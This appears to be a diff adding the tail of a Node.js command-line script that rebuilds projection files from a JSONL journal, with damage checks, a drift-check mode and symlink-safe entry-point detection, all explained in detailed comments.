+    // An EMPTY journal (no events, no damage at all) stays perfectly legal
+    // and projects to empty documents; partial damage with >= 1 readable
+    // event still only warns.
+    if (state.total === 0 && (state.corruptLines + state.malformed > 0 || state.truncatedTail)) {
+      // Only report damage that actually occurred: "0 corrupt line(s),
+      // 0 non-object line(s)" next to a refusal reads like a contradiction.
+      const damage = [
+        state.corruptLines > 0 ? `${state.corruptLines} corrupt line(s)` : null,
+        state.malformed > 0 ? `${state.malformed} non-object line(s)` : null,
+        state.truncatedTail ? 'a truncated final line' : null,
+      ].filter(Boolean);
+      throw new IOError(
+        `this does not look like a journal: 0 readable events, ` +
+          `${damage.join(', ')} — refusing to overwrite projections in ${dir}`,
+      );
+    }
+
+    if (check) {
+      const results = Object.entries(files).map(([name, content]) => checkFile(join(dir, name), content));
+      const drifted = results.filter((r) => !r.ok);
+      if (drifted.length === 0) {
+        console.log(`projections up to date (${results.length} files in ${dir})`);
+        return;
+      }
+      for (const r of drifted) console.error(`project: drift: ${r.path} — ${r.reason}`);
+      console.error(`project: regenerate with: node scripts/project.mjs ${journal} --out-dir ${dir}`);
+      process.exit(1);
+    }
+
+    mkdirSync(dir, { recursive: true });
+    writeAllAtomic(Object.entries(files).map(([name, content]) => [join(dir, name), content]));
+    for (const [name, content] of Object.entries(files)) {
+      const path = join(dir, name);
+      console.log(`wrote ${path} (${Buffer.byteLength(content, 'utf8')} B)`);
+    }
+  } catch (err) {
+    if (err instanceof UsageError) {
+      console.error('usage: project.mjs <journal.jsonl> [--out-dir <dir>] [--check]');
+      process.exit(2);
+    }
+    console.error(`project: ${err.message}`);
+    // An unexpected internal failure must not masquerade as a usage error:
+    // print the stack so the bug is reportable, then still fail loudly.
+    if (!(err instanceof IOError) && !(err instanceof Error && err.constructor === Error)) {
+      console.error(err.stack);
+    }
+    process.exit(2);
+  }
+}
+
+/**
+ * Canonical absolute path, falling back to the merely-resolved one when the
+ * path cannot be canonicalized.
+ *
+ * The fallback is load-bearing, and NOT for `node --eval`: there argv[1] is
+ * undefined and the caller returns before ever reaching this. It is for the
+ * cases where argv[1] names something realpath cannot follow — the script
+ * directory was renamed or deleted after launch, a parent component is an
+ * unreadable directory (EACCES), or a launcher/shim rewrote argv[1] to a
+ * logical name that was never a real file. Without the fallback the guard
+ * throws ENOENT out of module scope and the tool dies at startup, which is a
+ * different bug, not a fix.
+ */
+function canonicalPath(path) {
+  const abs = resolve(path);
+  try {
+    return realpathSync(abs);
+  } catch {
+    return abs;
+  }
+}
+
+/**
+ * True when this module is the program's entry point.
+ *
+ * BOTH sides must be canonicalized. `import.meta.url` already names the real
+ * file — Node resolves module specifiers through symlinks — while
+ * `process.argv[1]` is whatever the caller typed. Comparing them raw turned
+ * every invocation through a symlinked path into a SILENT no-op under exit 0:
+ * `main()` never ran, no projection was written, nothing said so. That is not
+ * theoretical — `/tmp` and `/var` are symlinks on macOS, and plugin installs
+ * routinely reach `scripts/` through one.
+ *
+ * Deliberately duplicated in journal.mjs rather than shared: this is boot
+ * boilerplate, not a domain rule. ADR-18 is about one RULE having one
+ * implementation (see pairSpawns), which this is not — and the difference is
+ * visible in what DID get shared: the invisibility rule moved to
+ * scripts/invisible.mjs because three copies of it had drifted apart, while
+ * these eight lines have no semantics to drift.
+ */
+function isMainModule(moduleUrl) {
+  if (!process.argv[1]) return false;
+  return canonicalPath(process.argv[1]) === canonicalPath(fileURLToPath(moduleUrl));
+}
+
+if (isMainModule(import.meta.url)) main();